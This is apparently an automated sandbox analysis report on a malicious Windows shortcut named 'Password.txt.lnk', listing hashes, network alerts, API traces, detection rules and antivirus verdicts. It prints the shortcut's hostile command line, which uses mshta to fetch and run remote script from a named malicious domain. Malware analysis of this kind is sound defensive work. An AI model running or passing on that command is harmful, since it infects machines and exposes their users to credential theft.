Summary | ZeroBOX

Password.txt.lnk

Generic Malware Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger P2P Internet API Sniff Audio DNS Http API Steal credential ScreenShot GIF Format AntiVM AntiDebug
Category Machine Started Completed
FILE s1_win7_x6402 Oct. 13, 2021, 5:45 p.m. Oct. 13, 2021, 5:47 p.m.
Size 2.3KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=70, Archive, ctime=Wed Sep 29 16:52:25 2021, mtime=Tue Oct 12 05:50:07 2021, atime=Wed Sep 29 16:52:25 2021, length=289792, window=hide
MD5 c44d866adf8c6845b7dda742c59c6b59
SHA256 a042bfeee49345d514c274e5f44da374eb0875da4a5671e8bf67005078c076fd
CRC32 9EAC5B90
ssdeep 24:8doPJ/PbCgQlzASPx+/cfvnZwrMPLj+/QT4I021XQaR3+PwckKVtCGO+/efmzB:8dwBYUSvZlTjfMI7Xv3vOvO5
Yara
  • Generic_Malware_Zero - Generic Malware
  • Lnk_Format_Zero - LNK Format

IP Address Status Action
121.254.136.27 Active Moloch
149.28.162.113 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49172 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49168 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49172
149.28.162.113:443
None None None
TLSv1
192.168.56.102:49168
149.28.162.113:443
C=US, O=Let's Encrypt, CN=R3 CN=onlinedocpage.org 9f:8c:c7:f8:24:f3:11:5a:90:96:ed:5a:f4:62:93:56:2a:4a:3e:32

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://www.onlinedocpage.org/FcsDjkkPVjEsM6htE+uWxoDY7HoSX64xIHgNAoq6SF4=
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2332
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f92000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2332
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72763000
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\Password.txt.lnk
cmdline mshta https://www.onlinedocpage.org/FcsDjkkPVjEsM6htE+uWxoDY7HoSX64xIHgNAoq6SF4=
cmdline "C:\Windows\System32\cmd.exe" /c start /b mshta https://www.onlinedocpage.org/FcsDjkkPVjEsM6htE+uWxoDY7HoSX64xIHgNAoq6SF4=
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2332
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
url https://www.onlinedocpage.org/FcsDjkkPVjEsM6htE
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Steal credential rule local_credential_Steal
description File Downloader rule Network_Downloader
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
Time & API Arguments Status Return Repeated

RegSetValueExA

key_handle: 0x000002dc
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
MicroWorld-eScan Heur.BZC.YAX.Nioc.1.068F8022
FireEye Heur.BZC.YAX.Nioc.1.068F8022
CAT-QuickHeal LNK.Exploit.Gen
Arcabit Heur.BZC.YAX.Nioc.1.068F8022
ESET-NOD32 LNK/Agent.GX
BitDefender Heur.BZC.YAX.Nioc.1.068F8022
Ad-Aware Heur.BZC.YAX.Nioc.1.068F8022
Sophos Troj/DownLnk-X
Emsisoft Heur.BZC.YAX.Nioc.1.068F8022 (B)
SentinelOne Static AI - Malicious LNK
MAX malware (ai score=84)
Microsoft Trojan:Script/Wacatac.B!ml
GData Heur.BZC.YAX.Nioc.1.068F8022
VBA32 suspected of Trojan.Link.URL
Zoner Probably Heur.LNKScript
Rising Downloader.Mshta/LNK!1.BADA (CLASSIC)
Time & API Arguments Status Return Repeated

RegSetValueExA

key_handle: 0x000002dc
regkey_r: ProxyOverride
reg_type: 1 (REG_SZ)
value: 127.0.0.1:16107;
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride
1 0 0
Process injection Process 896 resumed a thread in remote process 2272
Process injection Process 2272 resumed a thread in remote process 2332
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2272
1 0 0

NtResumeThread

thread_handle: 0x00000084
suspend_count: 0
process_identifier: 2332
1 0 0